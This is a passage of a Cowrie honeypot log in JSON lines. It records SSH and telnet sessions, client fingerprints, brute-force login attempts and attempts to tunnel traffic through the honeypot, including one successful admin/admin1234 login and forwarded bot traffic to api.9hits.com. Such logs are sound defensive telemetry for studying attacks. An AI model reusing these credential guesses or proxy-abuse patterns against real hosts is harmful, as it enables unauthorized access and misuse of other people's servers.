3HKuAgBdKQz0anPvaFcP8I3oTCkudenldlsdUiIBmkwHu7srIjirn554ePInQ%2BBUQmZQ2Q44oJl3fyJdoIDBflkWthzY9zEuadOd2JHNvu5A9Yfz6yxrM9DknZT9pOX81kgZkASoGaZ6HTrJwu5%2FwjpLUlE16ltadHckE9fZI4EPVmCAK150iztXcNIub%2BNRdvbem8Z4TsTbbZhqe9spPnWdFDvqrdLehpu4SXy3qH%2B7vfPoeMH2W4HD7dnAa12YCRnr6qoOpn2RIgsZ5NkP8NHEQ57GN%2BFwsFqxQdITVcbQaVamL8soj0VII8iCjYSEBjYGx5qH6pBdXUif9Ve2'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/89.0.4389.90 Mobile/16E227 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=VFJhXkEzOT5CdCtWVEtjWQ%3D%3Dn1987IoIW9sE%2FD6FqxdSC41VIdmT8cqvBlgE2K%2FGgVxB3TYAtPDCNSXQFdS3U8gn7UxRXA4aZ%2BtHJeXV1St9u84K6KxPPLhuEibsOrDIzn6hF69PtboJ7QbSheA0L%2F209cF1XyqcPr2jG6EDx3qYPng74ajpt95SfQPrBsJeld5oLg2EusJGL2vfPsAj%2FgUXzHnrQq8SQVwTp6CsUXBRY%2F4aIIw0YHQQ1H4CusYXoZ8SUFj%2BbIVmiZfRPqY7vcVhZCU9oYm%2F7dgNKPXf9BE04WRyxEWIJrtr%2Ban3R7fR36Q%2FFUtDa%2FRqURSch1PhDsEM8Pt1aLuGQd00lFEqHWuT%2F%2FMnk9%2FRoBtASr8V8EsuEcdJGDX0S%2FkMLxPu1d8SCSqzz9nZyvfC7YcwnEjBxBVaHWoFGTuU1kxhx43Up6n07KySNryBHDyGt0J3%2Fbs7X0xeTYfIcHvQvqQuMu3X3uZOty9r1f1jeYbgms4kw7dCsna6mYpoA0VkkZIIK%2B%2FtBK3nVs0rFxUqw33pa%2Bl2Q%2FFaS5pgZJOGHj3YToInfXbHnkXLH%2FfmXgM2xdHIza5u%2Flap%2FNyAtXELVjY7UXvYPeTf0nbQjUhQgOCpts8zOqSSCYc1xSKi1VUZ9e9M2%2BHmKmJkKl%2FU7XFpnzN1pJTqFAmD1O6nYR%2B%2Farh3sMF8bbuZ8L3Ulzem%2BLquu4LYkDwuArkQsIrYsvX4yELIuFxJk83tpGftHAElCapyxcO19%2FsMpq7t3HKuAgBdKQz0anPvaFcP8I3oTCkudenldlsdUiIBmkwHu7srIjirn554ePInQ%2BBUQmZQ2Q44oJl3fyJdoIDBflkWthzY9zEuadOd2JHNvu5A9Yfz6yxrM9DknZT9pOX81kgZkASoGaZ6HTrJwu5%2FwjpLUlE16ltadHckE9fZI4EPVmCAK150iztXcNIub%2BNRdvbem8Z4TsTbbZhqe9spPnWdFDvqrdLehpu4SXy3qH%2B7vfPoeMH2W4HD7dnAa12YCRnr6qoOpn2RIgsZ5NkP8NHEQ57GN%2BFwsFqxQdITVcbQaVamL8soj0VII8iCjYSEBjYGx5qH6pBdXUif9Ve2'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:54.084204Z","src_ip":"23.148.145.132","session":"ea04aa34587e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"52.4","message":"Connection lost after 52.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:55.053900Z","src_ip":"63.141.242.2","session":"599354918664","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:55.089435Z","session":"ea04aa34587e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:55.103750Z","src_ip":"23.148.145.132","session":"ea04aa34587e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\\\\\xf7u\\x06q\\x81hKFA\\xf3\\xa8\\x92\\x99\\x07\\xbc\\x98\\x88\\x95(\\x9dX\\x1c\\xa2nl\\xfb\\xc4\\xd7\\x1f\\xe0\\xe0 \\xc5\\xd4\\xba\\x1fpr!m~R`\\xb8r\\xcb\\x94\"\\xaf\\xfd\\xbd\\x08\\\\\\xf1\\xfe\\x99o$\\x8d\\xb2,gP\\xb7\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfd\\x07\\xad\\xc4\\xda\\xca%\\x7f\\xf1\\xe70\\xd1\\xa3\\xfd\\x1dNV\\xe68N\\x1aW\\xa3\\xc2f\\x8d\\xd3\\xc2F\\xb3\\x03J\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\\\\\xf7u\\x06q\\x81hKFA\\xf3\\xa8\\x92\\x99\\x07\\xbc\\x98\\x88\\x95(\\x9dX\\x1c\\xa2nl\\xfb\\xc4\\xd7\\x1f\\xe0\\xe0 \\xc5\\xd4\\xba\\x1fpr!m~R`\\xb8r\\xcb\\x94\"\\xaf\\xfd\\xbd\\x08\\\\\\xf1\\xfe\\x99o$\\x8d\\xb2,gP\\xb7\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfd\\x07\\xad\\xc4\\xda\\xca%\\x7f\\xf1\\xe70\\xd1\\xa3\\xfd\\x1dNV\\xe68N\\x1aW\\xa3\\xc2f\\x8d\\xd3\\xc2F\\xb3\\x03J\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:55.106832Z","src_ip":"23.148.145.132","session":"ea04aa34587e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:55.238346Z","session":"ea04aa34587e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:55.313197Z","src_ip":"23.148.145.132","session":"ea04aa34587e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03R\\xdb\\xc5\\xe3\\xadZ\\xd7@\\xedk\\xcc\\xe8 N\\x1fY=\\x03\\x1b\\xf7\\x85:\\xb7}d?\\x89\\xc45-zC \\xf9\\xb8Tj\\x9f\\xec\\xcco\\x0e\\x0c\\x05\\x08\\xeb\\x1c4w\\x92u\\x88\\xa5\\x0c\\xed\\x96m\\x10\\x99l\\xeadl\\xc4\\x08\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x16\\xdfAY\\x0e\\x16X\\xac\\xb3\\xc4\\xf2\\xe4\\xd4\\xccE:\\xb3ozHw9Q;(:\\xc1\\x1b\\xf80\\xdfB\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03R\\xdb\\xc5\\xe3\\xadZ\\xd7@\\xedk\\xcc\\xe8 N\\x1fY=\\x03\\x1b\\xf7\\x85:\\xb7}d?\\x89\\xc45-zC \\xf9\\xb8Tj\\x9f\\xec\\xcco\\x0e\\x0c\\x05\\x08\\xeb\\x1c4w\\x92u\\x88\\xa5\\x0c\\xed\\x96m\\x10\\x99l\\xeadl\\xc4\\x08\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x16\\xdfAY\\x0e\\x16X\\xac\\xb3\\xc4\\xf2\\xe4\\xd4\\xccE:\\xb3ozHw9Q;(:\\xc1\\x1b\\xf80\\xdfB\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:55.316040Z","src_ip":"23.148.145.132","session":"ea04aa34587e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"28.3","message":"Connection lost after 28.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:52:58.935290Z","src_ip":"23.148.145.132","session":"ea04aa34587e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.43595218658447,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:04.109453Z","src_ip":"128.199.8.54","session":"3ccdf0ab2a9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"63.141.242.2","src_port":56137,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fec31fcf241","protocol":"ssh","message":"New connection: 63.141.242.2:56137 (10.17.0.5:22) [session: 6fec31fcf241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:04.468074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:04.472760Z","src_ip":"63.141.242.2","session":"6fec31fcf241","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:04.537989Z","src_ip":"63.141.242.2","session":"6fec31fcf241","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:06.594609Z","src_ip":"63.141.242.2","session":"6fec31fcf241","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.669145584106445,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:10.458447Z","src_ip":"69.6.249.0","session":"6f034f93d22f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":59335,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6cfe7ec690a","protocol":"ssh","message":"New connection: 49.247.37.22:59335 (159.203.135.109:22) [session: d6cfe7ec690a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:13.474150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:13.490837Z","src_ip":"49.247.37.22","session":"d6cfe7ec690a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:13.702491Z","src_ip":"49.247.37.22","session":"d6cfe7ec690a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dheeraj","password":"dheeraj","message":"login attempt [dheeraj/dheeraj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:14.583345Z","src_ip":"49.247.37.22","session":"d6cfe7ec690a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:15.794415Z","src_ip":"49.247.37.22","session":"d6cfe7ec690a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:53:15.813552Z","session":"6fec31fcf241","protocol":"ssh"}
